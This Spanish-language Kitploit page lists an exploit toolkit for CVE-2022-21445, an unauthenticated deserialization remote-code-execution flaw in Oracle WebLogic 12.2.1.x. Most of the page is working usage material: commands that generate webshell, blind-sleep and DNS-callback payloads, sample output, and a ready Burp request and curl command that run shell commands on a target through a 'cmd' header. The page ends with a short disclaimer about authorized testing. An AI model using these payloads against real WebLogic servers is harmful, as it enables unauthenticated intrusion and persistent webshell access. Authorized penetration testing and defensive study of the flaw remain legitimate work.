Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-21445 — Exploit para CVE-2022-21445 de Oracle Weblogic 12.2.1.X | Kitploit
Herramientas/GitHubGitHub/necr00/cve-2022-21445
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubnecr00/cve-2022-21445

CVE-2022-21445

Exploit para CVE-2022-21445 de Oracle Weblogic 12.2.1.X

Ver Repositorio
51hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit CVE-2022-21445 - PoC

Este kit de herramientas genera payloads de exploit para CVE-2022-21445, una vulnerabilidad crítica de deserialización de Java que afecta a Oracle WebLogic Server 12.2.1.x que ejecuta Oracle ADF Faces.

La falla existe en el componente RemoteApplicationResourceLoader y permite a un atacante enviar una solicitud HTTP GET especialmente diseñada que desencadena una deserialización insegura. Una explotación exitosa puede provocar la ejecución remota de código (RCE) sin autenticación en el servidor objetivo.

Requisitos previos

RequisitoVersiónPropósito
Python3.6+Ejecutar el script de exploit
JDK1.8 (se recomienda 8u202)Compilar y ejecutar el generador de payloads Java
Weblogic12.2.1.XVersiones vulnerables

Guía de configuración

Instalar JDK 1.8

El payload debe compilarse con JDK 1.8 para que coincida con el runtime de Java del objetivo.

root@kitploit:~
# Use SDKMAN:
sdk install java 8.0.402-tem

# Select the java 8
sudo update-alternatives --config java
root@kitploit:~
java -version    # Should show 1.8.x
javac -version   # Should show 1.8.x

Uso

Generar un payload de webshell

Genera un payload que lee comandos desde la cabecera HTTP cmd y devuelve la salida en el cuerpo de la respuesta.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

Salida:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

Generar un payload Sleep (ciego)

Para pruebas ciegas: confirma la ejecución de código si la respuesta se retrasa.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

Envía el payload y mide el tiempo de respuesta:

  • ~10 segundos: Ejecución de código confirmada
  • Instantáneo (< 1s): El payload no se ejecuta (incompatibilidad de versión, parcheado o problema de codificación)

Generar un payload de callback DNS

Para confirmación fuera de banda usando Burp Collaborator o similar.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

Especificar un objetivo

Usa --target para obtener una salida formateada con el host y la ruta de contexto correctos:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

Esto formatea la solicitud de Burp y el comando curl con el host y la ruta correctos:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

Guardar el payload en un archivo

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

Envío del exploit

Usando Burp Suite

  1. Ejecuta el script para generar el payload
  2. Copia la sección BURP REPEATER REQUEST de la salida
  3. Abre Burp Suite → Repeater → Pega la solicitud
  4. Configura el host y el puerto del objetivo
  5. Haz clic en Enviar
  6. Para el webshell: cambia el valor de la cabecera cmd para ejecutar diferentes comandos image

Solución de problemas

En caso de archivos JAR dañados, siga las instrucciones para instalar la versión deseada de Weblogic y extraer los JAR relevantes.

Esto extrae los JAR de Oracle requeridos de la imagen oficial de Docker de FMW Infrastructure.

root@kitploit:~
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3

# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)

# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

Nota: El JAR javax.mail (necesario para la codificación MIME base64) se descarga automáticamente desde Maven Central en la primera ejecución. No se requiere configuración manual. El payload de webshell usa reflexión pura y no necesita weblogic.jar en tiempo de compilación.


Descargo de responsabilidad

Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas. Obtén siempre permiso por escrito antes de probar sistemas que no te pertenezcan. Los autores no son responsables de cualquier uso indebido. El acceso no autorizado a sistemas informáticos es ilegal.


Referencias

  • Oracle Critical Patch Update Advisory - April 2022
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic
Descargar herramienta